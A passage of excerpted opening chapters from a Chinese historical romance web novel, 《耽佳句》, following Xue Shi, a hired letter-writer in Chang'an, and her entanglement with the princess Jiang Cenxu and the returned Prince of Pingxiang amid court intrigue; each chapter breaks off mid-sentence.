《耽佳句》 1. 君名 《耽佳句》全本免费阅读 徐砚初到长安,本想在平康坊开家笔纸铺子,坊内多青楼酒肆,举子选人也常聚于此,生意肯定红火。但事实证明,会这么想的不止他一个,人家开得又久,他根本争不过,还付不起租金,只好退而求其次,把铺子开到了通化坊。 本朝最大的驿站都亭驿就设在通化坊,不管是接送回京的官员,还是给京外传递书信,总有疏忽笔墨的时候,他这铺子一开,虽比不得在平康坊,倒也不愁赚些银子。 不过真正让他惊喜的,是铺子对面的春水河旁,支了个代笔的摊子,摊主每天早出晚归,日日不落,生意极好。摊前还立了块幡,白底黑字,龙飞凤舞:“语不惊人死不休”。 这字虽豪爽张扬,但摊主却是个姑娘,看起来十八.九的样子,身形高挑,常穿竹青色,额上系着根白色发带,似乎是她纠结选什么笔时在上面试色用的。虽是典雅沉静的长相,却总爱卷起袖子在指间转着笔,头发也只用几根毛笔束起。平日见着,惯爱弯起一双笑眼,和和气气的,像是没有烦恼,也不会生气。 每隔两三天,这姑娘就会到他店里进一些纸砚,连带他的铺子也因着她的代笔赚了不少银子。一来二去,两人熟悉不少。 “薛姑娘刚来长安时,是怎么想到给人代笔的?”徐砚第一次见有人靠代笔营生,还是个姑娘,又敬佩又好奇。 “京城人心思重,有很多话不能说,就连写也不能用自己的笔迹写,所以需要有人可以替他们传达心意。但当时更重要的是……”薛适有些神秘地眨了眨眼,徐砚满含期待地等着下文,却听她狡黠笑道,“我缺银子花。” “啊……好在姑娘如今也算熬出了头。不过,你到京五年,凭姑娘的本事应该攒了不少银子,怎么不去买个铺子,反倒来通化坊摆摊?你又不像我初来乍到……”徐砚重重叹了口气,“没什么银子,又实在争不过同行,不然我是真想租平康坊的那家铺子。” 薛适端茶的手一顿,洒出了些落在手背,霎时烫红一片。她却没什么感觉,只笑着说道:“这徐兄就不懂了吧,代笔也是要讲究氛围的。我这地方景色好,背靠春水河,对面是都亭驿。店铺虽好,但毕竟就那么四方一块儿拘着,不如摆摊开阔,还能随走随停,自由得很。” “原来如此,薛姑娘真是玲珑心思。”徐砚顿时豁然不少,“我突然觉得,铺子开在这甚好。” 临近年关,驻外官员陆陆续续回京,都亭驿人来人往,薛适和徐砚也比往常更忙。俩人只说一会儿话,就都各忙各的去了。 “听说姑娘会写梵文?”一官家小姐走到摊前问。 薛适点点头。 那是她来长安的第一年,彼时她穿着男装,寂晖公主还在。为了帮寂晖公主,她学写了梵文。 “太好了。”那女子坐下,付了银子后便开始说道,“我有一心上人,他是个大英雄。虽然我们素不相识,他又位高权重,但……我只是想偷偷许个愿,就算不成也没关系。”女子脸颊羞红,慢吞吞地掏出张符纸递给薛适,“这是我去荐福寺求的姻缘符,劳请姑娘用梵文,在上面写上……他的名。” 除了寺里的和尚,很少有人看懂梵文。她不求愿望实现,也不想他人知晓,只是笨拙而隐秘地,想留下点什么。 女子娓娓说着,只是听好像也能感同身受一般,薛适有些动容。 她一捞袖口,递给对方一个妃色的小香袋:“我亲手做的,送给小姐。”薛适顿了顿,还特地换了气声说道,“可以把符偷偷藏到里面。” “多……多谢姑娘。”女子被薛适这样一说,双颊更红了。 薛适摸了摸发间束着的毛笔,点点头,然后挽起袖子开始磨墨。较之以往书写,她用了更轻的力道,看见墨汁在砚台稍有化开就立刻停止,提笔蘸取时也控制着笔尖接触墨水的浓度。 这符纸薛适反复摸过,薄而透,写起来很容易晕开。符纸只有一张,损毁了可不吉利,更是辜负了那份虔诚的心意。 薛适磨墨的时候,女子闲来无事,盯着对面看了会儿,疑道:“平日都亭驿也是这么多人吗?” “年关了嘛,好多大人都回京了,所以就多了些。” “那平襄王回来,是不是也会经过此处?”女子忽地激动道,连音调都高了不少。 “平襄王?哪个平襄王?”薛适在长安五年,从未听说过。 她虽问着话,但笔下动作却丝毫不停。 符纸不大,梵文又多是弯弯绕绕的线条,薛适选了根最细的笔,又在发带上试了试颜色,刚好合适,便准备开始誊写。她展开女子递的字条,却在看到那心上人的名是什么时忽地收笔,眉心一跳。 “诶?你竟不知道吗?”女子凑近了些,小声道,“传闻平襄王,就是死去多年的前太子。” 薛适静静听着,抿唇不语。她转了转手腕,才继续落笔。颤烁闪眨的睫毛下,似乎只是在专注地盯着笔下字迹。 “三年前,寂晖公主远嫁关塞以求两国和平六十年,结果半年后,关塞便毁约,接连攻打北朔等数座城池,寂晖公主也被他们杀害。关塞突然进攻让朝中一时措手不及,当时圣上刚登基不久,朝中局势甚是不稳,谁也不愿意出征,幸有平襄王带兵及时出现一举平定了北方战乱。而且不到三年时间,就让一向虎视眈眈的关塞对我们俯首称臣,圣上当即下旨封他为平襄王,就等他回京受赏了。” “这人死,竟还会复生?”徐砚不知什么时候也出了店,凑到摊前听了好一会儿,“如此离奇的事,朝中是怎么相信平襄王就是前太子的?万一是别有用心之人的阴谋可就麻烦了。何况,就算平襄王真的是前太子……现在的皇帝不是之前的四皇子吗?这不全乱套了吗?” “哎你小声点!”女子张望了下四周,见没人注意才又接着道,“你说的这种事,朝廷怎么会让天下人知道?反正平襄王不会是坏人,要是没有平襄王,关塞人早打过来了。他在我心里啊,就是这天底下最好的男子……” “写好啦。”薛适见符纸上的笔墨已经吹干,出声打断道。 女子不再多言,欣喜接过,她满意地摸了摸符纸,刚要装进薛适赠的香袋中时,突然一阵惊马的声音急急掠过,她手一抖:“我的符!” “小心——” 薛适眼见着马要冲向这女子,赶忙把人推开。不过薛适一时没收住步子,用的力气又大,只得狠狠摔了一跤。 “姑娘!” “薛姑娘!” 徐砚他俩被吓坏了,赶忙过去要扶她。 “没事没事,你们都没被马撞到就好。”薛适不在意地揉揉膝盖,并未起身,“我先帮你找符。” “抱歉姑娘,你伤得重不重?我这就带你去医馆看看。”这时惊马的少年急急跑过来,朝薛适愧疚 2. 寂晖 《耽佳句》全本免费阅读 街上围观的人虽听不清楚两人在说什么,但见平襄王突然拿出把匕首一副要杀人的模样实在太过吓人,赶忙都退得远远的,有几个姑娘还悄悄捡回了之前丢出去的绢花。 对平襄王倾心不已的那位官家小姐离薛适近,脸色早被吓得惨白一片,颤声道:“我……我要不还是别喜欢平襄王了……” 一旁的徐砚也被吓得不轻,薛姑娘到底是哪里惹到平襄王了啊?怎么突然就动上刀了呢?薛姑娘该怎么办啊! 幸好这时接平襄王回京的朝臣出声提醒,打破了僵局:“王爷,得进宫了,要不皇上该等急了。” 平襄王没说话,不过倒收起了那骇人的匕首。 风吹过男人指间捏着的符纸,发出窸窸窣窣的声响,薛适看见他厌恶地一甩手,把符纸扔在她面前,起身离开。 平襄王这一走,看热闹的人群便也跟着散了。薛适忍着膝盖的疼痛,在徐砚和那小姐的搀扶下挣扎起身。 她朝平襄王离去的方向看了一眼,微微叹了口气。 是时候离开长安了,再不走骨灰都没人敢给她收。 薛适收好摊背上箱笼,站在汹涌人潮中,下意识地最后看了眼对面的都亭驿。进进出出之间,有人留下,有人离开。 今日在都亭驿接待平襄王回京的是礼部侍郎明修,宰相明文昌的侄子。 行至大明宫,穿过宫门,绕过重叠蜿蜒的宫墙,经过高台之上的殿阙,明修发现压根不用自己提醒,每一处弯弯转转,平襄王都走得熟悉无比,实在不像第一次进宫的人,不由得怀疑起平襄王的真实身份来。 北朔是防守关塞的最后一个城池,但易攻难守的不利地势和关塞的突然出兵,让北边很快就失守了。如此艰难的战事,摆平一切的却是当年北朔守城军中,一个最低品级的将领江执。他宛若神兵天降,不到三年时间,一举收复了北朔等失守的城池不说,还让关塞主动退兵,现在两国友好得很。 即便北朔和关塞都对江执守军将领的身份深以为然,但那与死去多年的前太子一模一样的名字,还是引得不少人怀疑,要么是怪力乱神在作祟,要么就是另有阴谋。不管是哪一种,平襄王无疑都是个不可小觑的危险人物。 明修一路想得太入神,好一会儿才发现平襄王并没跟上他,而是径自登上了含元殿。 “王爷,皇上在前边的紫宸殿等您呢。” “离宫如今已经建成了?”江执从含元殿向南眺望,似能透过鳞次栉比的宫宇看到更遥远的什么。 “王爷是说赞襄宫啊,这还是先帝下旨建的呢,不过今年初冬才于扬州建成。” “主殿照壁上的字,可有人题?” 明修虽不解这平襄王好端端地怎么对一个离宫这么感兴趣,但也没多想:“题了‘赞襄盛业’四个大字,听说是当年寂晖公主想出来的。” 江执没再说什么,下了含元殿,接着朝前面的紫宸殿走去。 宫人通传过后,江执踏入紫宸殿,皇帝已坐于龙椅,殿内还有几名大臣在。 皇帝江抒今年不过二十出头,虽龙袍加身,但看起来很难让人产生距离感,反倒更像京城打马而过的翩翩公子。 “明侍郎,朕命你一早就去都亭驿接平襄王,怎地迟了这么久?” 明修深知当今圣上没什么耐心,又不好明面得罪平襄王,只好隐晦道:“路上王爷似是遇到了故人,因着叙旧才耽搁了些。” “哦,爱卿在京中竟还有故人?若是家眷,朕改日一并奖赏。” “据臣所知,平襄王乃沧州人,父母双亡后的第二年,仅十二岁便从军驻守北朔,此后再未离开,今日是第一次进京,明侍郎的说法想必有误。”开口的是宰相明文昌,先后辅佐了先帝和当今圣上,因而在朝中颇有声望。 “回禀皇上,明相说得对,是侍郎误会了。臣在京中并无亲故,今日是因为在街上刚好看见了当年害死寂晖公主之人,实在愤懑不已。” 如今平襄王回了京,连带着三年前关塞的事也被人津津乐道。 不止江执,朝堂之外,坊间众人都在因寂晖公主的死而感到愤恨和惋惜。 “公主也太惨了吧。”徐砚担心薛适的腿伤,便和那官家小姐沈盈袖一起去医馆给薛适抓了药。 “你们……怎么听说这些的?”薛适刚收拾好行李就听到敲门声。 “我和沈姑娘一路都听各坊在传这事。不过要说起这些啊,得先从寂晖公主和亲开始提起。” 两人步行过来,眼下累得厉害,便在屋内歇坐了会儿,正好跟薛适讲起听到的坊间传闻。 “话说三年前,关塞在北边屡屡作犯,北边守城的诸位将领觉察后,早早就上奏禀明了先帝,关塞蠢蠢欲动,意图开战。可离奇就离奇在这——先帝还是在临终前,留下了让公主和亲的遗诏!”徐砚“啪”地拍了下桌子,“但这怎么可能啊?当父亲的明知道敌国要打过来了,还让自己的女儿白白去送死?所以……” “事出反常必有妖!”沈盈袖跟着道,语气还有些阴森森的,“这一切,都是一场政治阴谋。三年前,朝中有个书待诏,极擅笔墨,甚至能模仿别人字迹,一点儿破绽也无,但让人万万没想到的是,这书待诏竟是女扮男装!此乃欺君死罪,当时的大皇子知晓后,以此要挟她伪造先帝遗诏,利用公主和亲暂且稳住关塞,好为自己换取坐稳龙椅的时间。” “嗯……这大皇子果然可恨,好在当今圣上早已处死了他,死得好,死得好。”薛适应道。 “那待诏才是最可恨的!要不是她,大皇子当时能在朝中兴风作浪那么久?”徐砚神情激愤,“同为擅长笔墨的女子,薛姑娘你这么善良,她却如此歹毒,竟视家国为儿戏,简直是咱们文人的耻辱!” “……”薛适觉得现在腿是没那么疼了,但脖子凉得厉害。她连连点头,“对,真是耻辱啊,耻辱。” “要是没有她,寂晖公主也不会死在如花似玉的年纪,就那样孤零零地留在了异国他乡,永远都回不了家……”沈盈袖轻叹了声,然后恶狠狠道,“也不知那个丧心病狂的待诏姓甚名谁,怎么还活着!不过平襄王回了京,她也就活到头了。如果平襄王真是假死的前太子,一定会为唯一的亲妹妹报仇;如果不是,以他义愤填膺的性情,也会杀了那待诏。” 沈盈袖 3. 恰遇 《耽佳句》全本免费阅读 眼前这个疑似前太子江执的男人,让薛适忆起许多事。 转眼五年过去,薛适记得刚来长安,第一次见到还是五公主的寂晖公主江岑许时,也如现在这般,是临近年关的一个冬日。 *** 五年前。 雪后初霁,银白尽染长安,冷冽的朔风时而吹散树间落雪,若万树梨花盛绽,却也愈加寒冷。然语笑市声交织依旧,丝毫不影响各坊热闹。 薛适便处在其间最为繁喧的平康坊,果然刚至长安没几日,就赚到不少银子。 今日亦是如此,才摆好摊,便替云雀楼里的花魁菱娘代写了副香笺,方才落笔,又位客人光临。 薛适忙准备纸笔,未及仰头,话音先落:“客人要代笔么?” “‘语不惊人死不休’,你倒自信敢用。” 一道较一般女子清哑的声音和风落下,浸了丝冰冷。薛适循声抬眸,戴着金制面具的少女正细细打量摊前被她写于幡上出自杜甫的诗句。 对方一身月白袄裙,肩上系宝蓝披风,身量高挑修长。千叶莲样的面具遮了大半容颜,清冷之下,疏离更甚,但面具之下的那双眼,却润若春水,晃动间,似能漾起多情的潋滟。 世上竟会有气质如此矛盾之人么…… 察觉到薛适的目光,那人回眸看去,春水骤然静滞,拒人于外的寒凉席卷,亦唤醒了薛适的思绪,她弯起眼,温声道:“姑娘想写什么?” 对方未答,只漫不经心敲了敲桌上摆着的木盒,似颇为感兴趣的模样。 见她迟迟不语,薛适想了想:“莫不是……姑娘想仿哪家的书法,或是谁的字迹?” 薛适笔墨天赋极高,精通之外,亦擅模仿,细腻至以假乱真。不过毕竟不合规矩,薛适也是看情况偶尔才做。 “做人要厚道。”听了这话,那人倒是有了反应,斜睨了她一眼,“别到最后,代笔代的,原是自己的命。” 闻言,薛适脖子一凉,不由伸手摸了摸,干笑几声:“那姑娘是要?” “昨日临收摊来的公子与我相识,就和他一样吧。”她靠在桌旁,百无聊赖地卷着宣纸边,随手扯过一张,食指轻点,“写吧。” “姑娘确定……要和那公子写一样的?” “同样的话一定要我再说一次?” 薛适只好不再多言。 “外头冷,姑娘可先去对面茶楼稍坐。” 那人却并未动作,只站在摊前静静看着。 与龙飞凤舞的“语不惊人死不休”字迹不同,薛适却是副典雅沉静的长相,额上系白色发带,头发也只用几根毛笔束起,此刻正执笔在发带试色。 片刻,薛适转了转指间,满意地点点头,挑出的这支笔粗细适中,用来写家书正相宜,不会太深重,让归乡的人焦急;也不会太浅淡,辜负这份心意。但磨墨的力道却大,墨气深烈,想着对方拆信闻到余香,会归心似箭,期待重逢。 墨条在薛适手中轻转,幽黑的墨汁缓缓在砚台沉积,香气悠宁,令冬日干冷的风亦生诗意。 良久,薛适抬起头:“好了。” 对方靠近了些,纸上字体娟秀楷正,一笔一画的收放间却隐含飞逸的急切。她垂眸念道: “ 一别数月久,山川相隔,可还安好?新岁渐至,望如期而归,别来无恙。” 念到最后,她忽然笑了声:“你说,久别重逢,应是什么样的?” 薛适被她突然的问题弄得不明所以:“嗯?” “该是要抱一下吧?” 忽地,披风一动,隔着桌台,薛适一把被人从座上拉起,拽入怀中。 拉拽的动作带着狠戾而霸道的强硬,薛适惊地倒吸口气,未及反应,就已撞在对方胸口,额头骤然闷痛。 她较大多女子高些,但对方比她还要高上大半个头,这样的压迫裹挟着冬日冷风的寒气,让薛适有些不安。 不及细想,对面的人再次开口:“一别数月,现在,我回来了。”轻促的尾音带着打趣的腔调,低低的调笑声中戏谑不言而喻,“这么配合你的……‘家书’,可还满意?” 片刻停顿后落下的“家书”二字,被她咬得极重,语调也颇为讽刺。 心中渐渐升起不好的预感,薛适急切地想要挣脱,不想甫一抬手,对方似早有预料,先一步将施于腰间的束缚上移,只用单手便锢住了她欲作抵抗的双腕,抵于两人逼仄的距离之间,磨得她生疼。 见识到对方力量大得厉害,薛适只好勉力扯出个笑,故作不懂:“姑娘在说什么,我……” 不等说完,那人嗤笑了声,直接打断。 风吹得纸张猎猎作响,薛适听见对方冷冽的声音落在耳畔:“你是我什么人,要给我写家书?你应该很清楚,我让你写的,可不是这个。” “纵山川不可拥,我亦心悦你许久。”她一字一顿,缓缓开口。 薛适身子一僵。 没错,这才是她昨日代写的真正内容。那公子虽富裕却不善笔墨,只好找代笔,临走时还赠了盒宣纸以表谢意。 薛适见装宣纸的盒子都由花梨木制成,不舍得用。何况这是她第一次收到客人赠礼,意义不凡,便放在摊桌当作摆件,时刻提醒自己不忘代笔初心。 薛适想得入神,而注意不到的身后,对方藏在披风下的右手,已不动声色地将摊桌上的花梨木盒,换成了一模一样的另一个。 “你虽猜到我骗你代笔,但你又怎知,”腕间束缚撤去,语间嘲意却未减,“我不会知道他写的什么?” 薛适终是败下阵,想着两人就算相识,怎会连对方表达爱慕的情意都要一样?她实在下不了笔,这姑娘又摆明不愿多说,刚好临近年关,只好应景写了封家书。未曾想,这姑娘竟知对方代笔的内容,反应还如此激烈。 “是我对不住姑娘,我……” 对方却头都未抬,不等薛适说完,直接端起砚台后退一步,毫不犹豫朝桌上宣纸泼去,墨水瞬间晕染。 薛适想要阻拦已是来不及,她惊得微微瞪圆眼,但还是强压平和:“姑娘,欺瞒在先是我不对,我可以赔你银子的。但你这样做,是不是有些过了呐?” “谁缺那点儿银子。”眼前之人却是不领情,讥笑了声,“身为代笔人却自以为是替我改决定,你以为这样很聪明?我没把墨泼你脸上,都算抒情了。” 薛适想开口解释,可对方说完转身就走,只有她提着一口气卡在喉咙,无法言明。 隔着人潮,披风下的身影已掩于角落,眉梢微挑,看了看手中沾了些许碎雪的花梨木盒,覆手拂去,紧接着挥臂一收,转瞬便不见踪影,唯地面积雪之上的脚印,无声彰显有人曾驻足于此。 - 所幸除那日外,薛适的代笔营生一直平顺,甚至在坊间小有名气。 转眼间,已是一个月后的除夕,夜还未降,热闹先临。 薛适穿过街坊,看着各家换下旧桃符,又挂上红灯笼,就连垂髫也跟着热络布置,到处透着欢声与喜气。 直到行至大明宫,周边才渐渐寂静。 薛母过世不久,明皇后担心薛适在薛府受委屈,特下旨让薛适前往长安。薛适不想她担心,至今日攒了些银子才入宫拜见。 薛家一向重男轻女,即便薛母与皇后母亲是亲姊妹,薛适有当朝宰相做姨丈,也没能改变从小到大被迫当成男子的事实。毕竟此为家事,明相与薛家也不亲厚,唯一疼爱薛适母女的明皇后又远在深宫,心有余而力不足。 尤其薛适笔墨上的本事让薛家攀上不少权贵后,薛父更是变本加厉,将薛适整天囚禁房中,只许依他指令赋笔,旁的一概禁从。 如今薛适一走,无疑夺了薛家升官发财的路子,薛父十分不满,但皇后旨意又不得不从,火气便撒在薛适身上,竟是一点银子没给,想逼她放弃进京。结果等了几日也没见人回来,反等到薛适已抵长安,还支了代笔摊子风生水起的消息。 两人叙旧许久,皇后怕薛适一人孤身异乡寂寞,特意让她今夜一同参加除夕宫宴,免得冷清。 宫宴设在麟德殿,入夜时分,灯火如昼。 昭景帝和明皇后坐于高位,皇室贵族、文武百官纷纷 4. 暗流 《耽佳句》全本免费阅读 薛适痛得双眼微眯,却见对方眸中意外转瞬即逝,又加重了手上力道,摆明是想她快点死。 “你背后的人还真不少。”即便是这样逼压的姿势,语调却仍慢条斯理,“不过,本宫也有不少人。只是—— 有几个最近坏掉了,正好你死后可以把你的骨头拆下,磨成几个新的人骨玩偶补上。” 人骨……玩偶? 薛适听得毛骨悚然,但捕捉到那声“本宫”,觉得一切又都合理起来。 眼前之人不过十六七岁,不可能是后宫嫔妃,那便只有一种可能—— 她是宫里唯一的公主,五公主江岑许。 想到席间江措说起五公主的种种作为,再加上两人第一次见面就十分不愉的经历,薛适觉得事到如今,她不管是死还是活,下场都必惨无疑。 但她实在不想再像上次一样被堵得说不出话,于是大口喘息道:“今日……我是受皇后娘娘之邀参加宫宴,出来吹风……刚好走到大福殿,见梅花开得甚好,便……欣赏了会儿,结果就被殿下抓到……殿下的话我实在不明白,我们是不是……有什么误会?” 像是砧板上还没死彻底的鱼,薛适竭力挣扎着呼吸,这一大段说完,她更喘不过气,甚至开始看不清对方轮廓,只能瞥见那抹嫣然唇色过分鲜红,似嗜了血,几欲滴落。 江岑许听到是皇后让她来的,虽收了手,但眼中防备不减,语调意味深长:“本宫倒是不会,但别人,恐怕要误会。” “嗯?” 空气骤然涌入鼻腔,薛适摸着脖子不断换气,强压呼吸之间尚存的生理性痛感。 江岑许的目光轻佻却幽深,缓缓下移,偏头凑近薛适的唇畔,压抑着低喘:“被人看到你与本宫这般的话……你是要做本宫的面首,还是要与本宫共沉沦?” 这话虽听着旖旎,但薛适倒没吓到,毕竟都是女子。 她眼下所有注意都在江岑许周身逼近的桃花香上,一时想到什么:“殿下是不是……中了桃凝香?” 她有一次偷溜出府给人代笔,就是与桃凝香有关。少妇哭着让她帮忙写和离书,说夫君变了心和她妹妹在一起了。 很久之后,薛适从街坊口中才知原是妹妹暗恋未果,往自己姐夫酒里下了桃凝香催情。 江岑许闻言,不置可否。 桃凝香为前朝被流放的废后所制,为了能在离宫前让帝王回心转意。因而除了宫里的人,宫外基本无人知桃凝香其实只对男子有催情作用,且效用猛烈,男子只是闻到身上散出的香气,都会起反应。 与男子状况不同,女子闻久了则是体内产生些许毒素,慢慢变得神志不清。 江岑许看了眼面前暂且清醒未受影响的人,眸光流转间,勾了勾唇:“你既知这桃凝香,看来是选择做本宫的面首了。” 话虽说得张狂,但薛适还是看到江岑许的身子明显向后晃了晃,已站不太稳。 都这样了,还在执着于养面首呀。 薛适伸手扶住江岑许的腰:“殿下现在觉得怎么样?” 虽然五公主性子确实不太讨人喜欢,但清白之事却关乎女儿家一辈子,宫中居然有人敢对一国公主下这样的药,可见五公主也并非如表面那般无人可欺。 薛适想了想:“殿下可以告诉我您信任的人在哪,我去帮殿下偷偷叫来。” 江岑许偏头,有些意味深长地看着薛适。 冷风中的寒气也抑制不住身上渐渐升起的燥热,但腰间扶着的那双手却格外幽凉,一点点地安抚着紊乱炽热的呼吸。 她没说话,拽起薛适忽地往一旁的太液池走去。 “?” 薛适心想,难道她刚才说错话了?不会要被杀人灭口吧!她突然就想到了那可怜的张待诏。 “这池水虽看着浅,但一不留神掉下去也是会死人的,殿下千万注意脚下啊。” 刚刚是因五公主从背后偷袭才让她一时不察,眼下五公主身子弱正是逃跑的好时机,薛适小心翼翼往后退,拉扯着步子。 江岑许却根本不给她机会,拽着薛适的手一个用力就将她拉回身前,紧紧锢着她的腰。 “那就一起死吧。” 唇边笑意无畏而恣肆,说话间,便已抱住她一横栽向了旁边的太液池水中。 骤然间,池水上空洒落漫天烟火,霹裂了大明宫的深沉夜色,也掩盖了她们落水的声音。 与此同时,羽林军的人早早收到消息,正穿过不远处的九仙门:“快,五公主在大福殿这!” 只是踏进大福殿之后,却惊疑地转了语调:“人呢?诶,怎么是袁将军……” 薛适醒来时,已置身皇后的寝宫蓬莱殿。 “好端端地怎么醉成这样?还好没有太多人看见你掉进太液池,不然皇上知道恐有不喜。”明皇后见她醒了才放下心。 薛适微微皱眉:“娘娘……是怎么发现我的?” “你还说,我见你离席许久也未归,担心你初次进宫迷了路,正要遣人去找你,刚好五公主身边的人过来,说陪着五公主散步时见你醉得掉进了太液池。” “……”薛适在心里用笔把江岑许狠狠戳了一通。 “让娘娘担心了。我……一时贪杯吃了醉。” 闻言,明皇后神色黯了黯:“都怪我叫你参加宫宴,现在连你也被困在这大明宫。阿适,你毕竟是女子,被迫女扮男装如今又封了官职,我实在担忧……” “母亲走后,娘娘是这世上我唯一在意的人了。”薛适轻声打断,握着明皇后的手柔声道,“宫中虽有诸多不便,但能陪娘娘一起,我很心安。” 薛适安慰了会儿明皇后,见她虑色稍减,才试探问道:“娘娘,我这一醉……是不是错过不少事?” “哦,右羽林军的将军袁敏达被人发现在大福殿,还中了桃凝香。那可是皇上供奉佛骨舍利的地方,结果弄得满室靡靡不说,他还声称看见五公主也在那儿。虽只是荒诞的梦,但事关公主名声,皇上大怒,罚他在府中禁足三月,不到春蒐不许出来。” “这么大的事,关乎公主清誉,怎么只罚禁足?” “这话在我面前说也就罢了,在宫中切记谨言慎行。”明皇后严肃道,“袁家世代武将,战功赫赫,这一代的袁老将军更是辅佐皇上登基,平定江山。袁敏达是袁老将军唯一的儿子,视之甚命,虽他今日确实失态,但五公主并没出现在殿内,也未受到实质性伤害。” “那……不调查是谁给袁将军下了桃凝香,又是谁将袁将军引到大福殿的吗?” 明皇后摇摇头:“除夕宴上的人本就多,上到皇室大臣,下到宦官奴仆,想是很难查到了。况且在宫中,原因最不重要,而此事又不宜声张。” 薛适毕竟是“外男”,两人并没聊太久,明皇后见她没事,便遣人送她出宫。 出了蓬莱殿,再次看到不远处的太液池时,薛适似能透过那汪平静无波的潋滟之下,窥探到它所映照的潜藏危险。 她忽然觉得,江岑许把她拽入池中,或许不是为了刁难,而是在救她,好不让她牵扯进来。 只有自己选择沉落险境,才能避过别人设计的陷阱。 - 节后,薛适正式入翰林院。 众人见圣上钦点的书待诏不过是十四五岁的小少年,和眉善目笑眼似月,一副不知愁为何物的样子,各个替他愁得不行。 看起来就很好欺负啊……这能撑到几时。 “薛待诏,你不能笑!得吓人些,装装样子也行。” “薛待诏,你太白了,得在脸上多涂些黄粉,要不你这容貌五公主肯定看上了,得要你当面首。” “薛待诏可会武功?可会爬树?哎,这瘦胳膊瘦腿的,也不知遭不遭得住……” “多谢各位提点。”薛适没想到翰林院的人 5. 绮梦 《耽佳句》全本免费阅读 虽然江岑许不在,但这些事她却尽数知悉。 大福殿上,江岑许被罚跪在供奉佛骨的座台前“清涤欲孽”,耳边是萧侯世子替她不平的怒骂声。 “姓曹的是真蠢啊,察觉不到他在被人当枪使?” “不是曹御史,也会有别人。等你萧家兵权超过袁家成为第一,也会有无数个曹御史为你颠倒是非。” “亏我绕过守卫潜进大福殿来看你,你不感激就算了,还在这说风凉话。”萧乘风撇撇嘴,“话说袁老的脑子是借给敌军当战利品了?怎么想出如此下作的手段,让袁敏达当驸马不怕影响他们家兵权?” 江岑许嘲讽地笑了笑:“他们是不放心我。毕竟现在的‘江岑许’是母后唯一的血脉。如今‘江执’逝去多年,悬着的太子之位却依旧未定,萧家先前又是站的太子,所以他们想破坏先帝为你我二人指的婚事,否则一旦结成,萧家的势力都将归于我手,他们怕大益会出现先帝之外的第二个女皇帝。 但我若是嫁给袁敏达,袁家势大,我降不住,他们也不会归顺于我。如此一来,公主身份不过傀儡的外壳,起不了任何作用。” 听到“你我二人的婚事”几字,萧乘风嘴角抽了抽,神情有些古怪,但也只啧了声:“本以为袁老一门心思只在上阵杀敌,没想到也想搅和进这皇位相争。又或者说,是他背后的人算无遗策。” 面具之下,江岑许眸光微沉:“袁家本就是靠着争皇位才有如今的地位,护国安民是真,但如果那份心思不再纯粹,早晚是百姓之祸。” “唉,这些事连皇上都奈何不了,你又能如何?”萧乘风摆摆手不再作提,想到崇文馆今天的事,“也不知那新来的书待诏又是哪头的。看他今天这样,应该不是江接的人。但江措和江抒都对他印象不错,依我看还是江抒可能性更大,毕竟是明皇后的表弟。” …… 这边有人能轻而易举就潜进大福殿,却也有人苦口婆心都未必进得来。 “我是翰林院的书待诏薛适,今日来只是为了给五公主布置课业,不会太久的,劳烦守卫大哥通融一下。” “这是皇上的旨意,谁都不行。” 一番僵持,薛适见实在行不通,只好作罢。要回去时,有人从身后轻轻拍了她一下。 “二皇子?” “薛待诏也是来见小五的?”薛适点点头,江措看了看四周,然后小声道,“跟我来。” “有人来了。”萧乘风察觉到越来越近的脚步声,闪身跃出了窗外。 江岑许也直了直歪斜的身子,摆出个恭敬样来。 一道温和的声音随后在殿内响起:“小五,你这几天怎么样?有没有受寒?” “二哥?”江岑许似乎有些意外,她漫不经心地捶了捶腰,“就那样吧。” “这是崇文馆今日新来的薛待诏,怕你落下课业,特地过来看你的。”江措笑着摸了摸江岑许的头,“我和薛待诏为了来看你可费了不少力气,幸好北边看着的守卫欠我一个人情,这才放我们偷偷进来。” 江岑许别扭地动了动身子,但并未甩开江措的手,她斜眼轻飘飘地看着薛适,语调鄙夷眼神却意味深长:“你不就是除夕夜上,那个喝多了掉进太液池的醉鬼吗?” 江措颇为意外:“竟有此事?” “……”两人虽心照不宣,但薛适还是在心里又多拿了好几支笔,轮番狠狠戳了江岑许一通,面上却是不好意思地垂眸笑道,“那日多亏殿下相救,不然臣就得跟阎王爷拜把子去了。” 江措倒是未察觉什么,关切开口:“殿内阴冷,晚间睡觉务必盖好被子,女儿家怕凉。要是有想吃的,二哥改日再偷偷给你带进来……”江措叮嘱许久,江岑许虽一副不耐烦的样子,却始终未出声打断,默默听着,时不时懒懒点头回应。 见时间差不多,薛适放下装着课业的提盒:“那臣改日再来,殿下多保重。” 深夜,外边的守卫疲惫地打着盹。殿内,江岑许迎着云影罩罩的胧月,打开了薛适送来的提盒。 里面除了写有课业要求的宣纸,还装了一盒火棘果,颗颗圆润,艳红诱人。 江岑许拿起一旁的信,纸张呈妃色,左右页角还贴着几朵红梅,应是自己所制。笔触潇洒但不失清雅,不知是不是她真正的字迹。 [臣愚钝,谢殿下那晚救命之恩。听闻殿下喜食樱桃,梦中亦求而不得。然春夏未至,臣只好为殿下寻得火棘,其味酸甜,状若樱桃,勉强可作冬日限定。如此,愿能保护殿下属于公主的梦境。] - 几天后,江岑许从大福殿解了禁足,再进崇文馆时,就见身着深青色官服的少年正被一群人围着。 “薛待诏太厉害了!我把你誊写的《兰亭集序》给我爹时,他老人家乐得不行,还问我从哪寻的王右军真迹。” “薛待诏不仅书法精妙,心思更是灵巧。我阿姐嘴上说要和姐夫和离,但薛待诏却猜到只是气话。果然,阿姐见了和离书那句‘愿夫君相离之后与佳人携手,相濡以沫。至此,遥祝夫君百岁,欢喜无忧’后,抚胸垂泪说不和离了,现在夫妻俩感情比以前还好呢。” “薛待诏替我婶娘写的讼书也是要言不烦,我只听都觉云里雾里,薛待诏却能从中将时辰地点案情各个清晰列明。我婶娘说她明日就登门拜访,还问待诏要不要相看姑娘,她给你做冰人。” …… 薛适笑着连连拱手:“诸位满意就好,大皇子也可放心。” 江接咬牙:“薛待诏不负众望,本王这关虽过,但小五那儿可有你受!” 有人点头应道:“是啊,希望五公主别又赶走薛待诏。” 话音刚落,江岑许却是一拂裙摆,微仰下巴走了进来。 “几日不见,诸位看来很是想念本宫,句句不离。” 那人讥笑了声:“我们不想,是袁敏达,连梦中啊……都是公主风姿。” 有人揶揄附和:“五公主倾国倾城,能入人梦境,本事大呢。” “不足为奇。谁人不知五公主出宫专找青楼楚馆,宫中亦通宵达旦同面首奏乐弹唱?” 江措和萧侯世子听不下去,欲要争辩,江岑许却蓦地笑了起来。 